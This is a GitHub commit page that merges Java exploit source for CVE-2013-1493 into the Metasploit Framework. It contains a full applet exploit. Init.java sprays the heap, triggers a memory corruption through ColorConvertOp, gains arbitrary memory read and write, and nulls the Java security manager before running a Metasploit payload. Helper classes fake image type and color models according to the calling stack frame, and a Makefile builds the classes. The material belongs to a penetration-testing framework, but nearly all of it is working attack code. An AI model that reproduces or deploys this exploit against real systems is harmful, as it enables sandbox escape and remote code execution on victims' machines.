Skip to content

Commit 951f95d

Browse files
sinn3rsinn3r
committed
Merge branch 'java_cmm' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-java_cmm
2 parents ae00dfe + 0109d81 commit 951f95d

File tree

10 files changed

+458
-0
lines changed

10 files changed

+458
-0
lines changed

‎data/exploits/cve-2013-1493/Init.class

4.13 KB
Binary file not shown.

‎data/exploits/cve-2013-1493/Leak.class

354 Bytes
Binary file not shown.

‎data/exploits/cve-2013-1493/MyBufferedImage.class

1.2 KB
Binary file not shown.

‎data/exploits/cve-2013-1493/MyColorSpace.class

490 Bytes
Binary file not shown.

‎external/source/exploits/cve-2013-1493/Init.java

Lines changed: 232 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,232 @@
1+
import java.applet.Applet;
2+
import java.awt.color.ColorSpace;
3+
import java.awt.image.BufferedImage;
4+
import java.awt.image.ColorConvertOp;
5+
import java.awt.image.ColorModel;
6+
import java.awt.image.ComponentColorModel;
7+
import java.awt.image.ComponentSampleModel;
8+
import java.awt.image.SampleModel;
9+
import metasploit.Payload;
10+
11+
public class Init extends Applet {
12+
13+
private static final long serialVersionUID = 1L;
14+
static final int ARRAY_MAGIC = -1341411317;
15+
static final int ARRAY_OLDSIZE = 11;
16+
static final int ARRAY_NEWSIZE = 2147483647;
17+
static final int LEAK_MAGIC = -559035650;
18+
static final int SPRAY_ARRAY_COUNT = 2808685;
19+
static final int SPRAY_LEAK_COUNT = 2000000;
20+
volatile Leak[] _sleaks;
21+
volatile int[][] _sarrays;
22+
volatile int[] _bigArray;
23+
int[] _memBaseObj;
24+
long _memBaseIdx;
25+
long _memBasePtr;
26+
int[] soffsets;
27+
int[] doffsets;
28+
29+
30+
public Init()
31+
{
32+
this.soffsets = new int[] { 0, 1, 2, 3 };
33+
this.doffsets = new int[] { 0, 1, 2, 50000000 };
34+
}
35+
36+
void spray() throws Exception
37+
{
38+
Runtime.getRuntime().gc();
39+
Runtime.getRuntime().gc();
40+
41+
this._sleaks = new Leak[2000000];
42+
this._sarrays = new int[2808685][];
43+
try
44+
{
45+
for (int i = 0; i < this._sarrays.length; i++) {
46+
this._sarrays[i] = new int[11];
47+
for (int j = 0; j < this._sarrays[i].length; j++) {
48+
this._sarrays[i][j] = -1341411317;
49+
}
50+
}
51+
52+
for (int i = 0; i < this._sleaks.length; i++)
53+
this._sleaks[i] = new Leak("L");
54+
}
55+
catch (OutOfMemoryError localOutOfMemoryError)
56+
{
57+
}
58+
}
59+
60+
void getBigArray() throws Exception
61+
{
62+
for (int i = 0; i < this._sarrays.length; i++) {
63+
for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) {
64+
this._sarrays[i][j] = -1341411317;
65+
}
66+
}
67+
68+
for (int i = 0; i < this._sarrays.length; i++) {
69+
if (this._sarrays[i].length != 2147483647) {
70+
for (int j = 0; (j < this._sarrays[i].length) && (j < 22); j++) {
71+
if ((j > 0) && (this._sarrays[i][(j - 1)] != -1341411317) && (this._sarrays[i][j] == -1341411317)) {
72+
this._sarrays[i][(j - 1)] = 2147483647;
73+
}
74+
}
75+
}
76+
}
77+
78+
for (int i = 0; i < this._sarrays.length; i++) {
79+
if ((this._sarrays[i].length == 11) || (this._bigArray != null) || (this._sarrays[i].length != 2147483647))
80+
continue;
81+
this._bigArray = this._sarrays[i];
82+
}
83+
84+
if (this._bigArray == null)
85+
throw new Exception("fail");
86+
}
87+
88+
long getAddress(Object obj) throws Exception
89+
{
90+
for (int i = 0; i < this._bigArray.length; i++) {
91+
if (this._bigArray[i] == -559035650) {
92+
int flag = 0;
93+
94+
for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = null;
95+
flag += (this._bigArray[(i + 1)] == 0 ? 1 : 0);
96+
97+
for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = "X";
98+
flag += (this._bigArray[(i + 1)] != 0 ? 1 : 0);
99+
100+
if (flag == 2) {
101+
for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = obj;
102+
return this._bigArray[(i + 1)];
103+
}
104+
}
105+
}
106+
107+
throw new Exception("fail");
108+
}
109+
110+
void getMemBase() throws Exception
111+
{
112+
for (int i = 0; i < this._sarrays.length; i++) {
113+
for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) {
114+
this._sarrays[i][j] = (j == 1 ? i : -1341411317);
115+
}
116+
}
117+
118+
for (int i = 0; i < this._bigArray.length; i++) {
119+
if ((i > 0) && (this._bigArray[(i - 1)] != -1341411317) && (this._bigArray[i] == -1341411317) && (this._bigArray[(i + 1)] != -1341411317)) {
120+
int len = this._bigArray[(i - 1)];
121+
int idx = this._bigArray[(i + 1)];
122+
if ((idx >= 0) && (idx < this._sarrays.length) && (this._sarrays[idx] != null) && (this._sarrays[idx].length == len)) {
123+
this._memBaseObj = this._sarrays[idx];
124+
this._memBaseIdx = i;
125+
break;
126+
}
127+
}
128+
}
129+
130+
if (this._memBaseObj == null) {
131+
throw new Exception("fail");
132+
}
133+
134+
this._memBasePtr = getAddress(this._memBaseObj);
135+
136+
if (this._memBasePtr == 0L) {
137+
throw new Exception("fail");
138+
}
139+
140+
this._memBasePtr += 12L;
141+
}
142+
143+
int rdMem(long addr)
144+
{
145+
long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L;
146+
if ((offs >= 0L) && (offs < 2147483647L)) {
147+
return this._bigArray[(int)offs];
148+
}
149+
return 0;
150+
}
151+
152+
void wrMem(long addr, int value)
153+
{
154+
long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L;
155+
if ((offs >= 0L) && (offs < 2147483647L))
156+
this._bigArray[(int)offs] = value;
157+
}
158+
159+
void privileged()
160+
{
161+
try
162+
{
163+
Payload.main(null);
164+
} catch (Exception localException) {
165+
//localException.printStackTrace();
166+
}
167+
}
168+
169+
170+
public void init()
171+
{
172+
try
173+
{
174+
if (System.getSecurityManager() == null) {
175+
privileged();
176+
return;
177+
}
178+
179+
int sWidth = 168; int sHeight = 1;
180+
int spStride = 4; int ssStride = spStride * sWidth;
181+
182+
int dWidth = sWidth; int dHeight = sHeight;
183+
int dpStride = 1; int dsStride = 0;
184+
185+
ColorSpace scs = new MyColorSpace(0, this.soffsets.length - 1);
186+
ColorModel scm = new ComponentColorModel(scs, true, false, 1, 0);
187+
SampleModel ssm = new ComponentSampleModel(0, sWidth, sHeight, spStride, ssStride, this.soffsets);
188+
BufferedImage sbi = new MyBufferedImage(sWidth, sHeight, 6, 0, scm, ssm);
189+
190+
for (int i = 0; i < ssStride; i++) {
191+
sbi.getRaster().getDataBuffer().setElem(i, 1);
192+
}
193+
194+
ColorSpace dcs = new MyColorSpace(0, this.doffsets.length - 1);
195+
ColorModel dcm = new ComponentColorModel(dcs, true, false, 1, 0);
196+
SampleModel dsm = new ComponentSampleModel(0, dWidth, dHeight, dpStride, dsStride, this.doffsets);
197+
BufferedImage dbi = new MyBufferedImage(sWidth, sHeight, 10, 0, dcm, dsm);
198+
199+
ColorConvertOp cco = new ColorConvertOp(null);
200+
201+
spray();
202+
try
203+
{
204+
cco.filter(sbi, dbi);
205+
}
206+
catch (Exception localException) { }
207+
getBigArray();
208+
209+
getMemBase();
210+
211+
long sys = getAddress(System.class);
212+
long sm = getAddress(System.getSecurityManager());
213+
sys = rdMem(sys + 4L);
214+
for (int i = 0; i < 2000000; i++) {
215+
long addr = sys + i * 4;
216+
int val = rdMem(addr);
217+
if (val == sm) {
218+
wrMem(addr, 0);
219+
if (System.getSecurityManager() == null) {
220+
break;
221+
}
222+
}
223+
}
224+
privileged();
225+
}
226+
catch (Exception localException1)
227+
{
228+
}
229+
}
230+
231+
232+
}

‎external/source/exploits/cve-2013-1493/Leak.java

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
class Leak
2+
{
3+
public volatile int magic;
4+
public volatile Object obj;
5+
public volatile Object obj2;
6+
public volatile Object obj3;
7+
public volatile Object obj4;
8+
9+
public Leak(Object o)
10+
{
11+
this.magic = -559035650;
12+
this.obj = o;
13+
}
14+
}

‎external/source/exploits/cve-2013-1493/Makefile

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
CLASSES = \
2+
Init.java \
3+
Leak.java \
4+
MyBufferedImage.java \
5+
MyColorSpace.java
6+
7+
.SUFFIXES: .java .class
8+
.java.class:
9+
javac -source 1.5 -target 1.5 -cp "../../../../data/java:." $*.java
10+
11+
all: $(CLASSES:.java=.class)
12+
13+
install:
14+
mv Init.class ../../../../data/exploits/cve-2013-1493/
15+
mv Leak.class ../../../../data/exploits/cve-2013-1493/
16+
mv MyBufferedImage.class ../../../../data/exploits/cve-2013-1493/
17+
mv MyColorSpace.class ../../../../data/exploits/cve-2013-1493/
18+
19+
clean:
20+
rm -rf *.class

‎external/source/exploits/cve-2013-1493/MyBufferedImage.java

Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
import java.awt.image.BufferedImage;
2+
import java.awt.image.ColorModel;
3+
import java.awt.image.SampleModel;
4+
5+
class MyBufferedImage extends BufferedImage
6+
{
7+
int _fakeType;
8+
ColorModel _fakeColorModel;
9+
SampleModel _fakeSampleModel;
10+
11+
public MyBufferedImage(int width, int height, int imageType, int fakeType, ColorModel fakeColorModel, SampleModel fakeSampleModel)
12+
{
13+
super(width,height, imageType);
14+
15+
this._fakeType = fakeType;
16+
this._fakeColorModel = fakeColorModel;
17+
this._fakeSampleModel = fakeSampleModel;
18+
}
19+
20+
public int getType()
21+
{
22+
String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
23+
if (caller.contains("ICC_Transform.getImageLayout(")) {
24+
return this._fakeType;
25+
}
26+
27+
return super.getType();
28+
}
29+
30+
public ColorModel getColorModel()
31+
{
32+
String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
33+
if ((caller.contains("ICC_Transform.getImageLayout(")) || (caller.contains("CMMImageLayout.<init>("))) {
34+
return this._fakeColorModel;
35+
}
36+
37+
return super.getColorModel();
38+
}
39+
40+
public SampleModel getSampleModel()
41+
{
42+
String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString();
43+
if (caller.contains("ICC_Transform.getImageLayout(")) {
44+
return this._fakeSampleModel;
45+
}
46+
47+
return super.getSampleModel();
48+
}
49+
}

‎external/source/exploits/cve-2013-1493/MyColorSpace.java

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
import java.awt.color.ColorSpace;
2+
3+
class MyColorSpace extends ColorSpace
4+
{
5+
private static final long serialVersionUID = 1L;
6+
7+
public MyColorSpace(int type, int numcomponents)
8+
{
9+
super(type,numcomponents);
10+
}
11+
public float[] fromCIEXYZ(float[] value) { return null; }
12+
public float[] toCIEXYZ(float[] value) { return null; }
13+
public float[] fromRGB(float[] value) { return null; }
14+
public float[] toRGB(float[] value) { return null; }
15+
}

0 commit comments

Comments
 (0)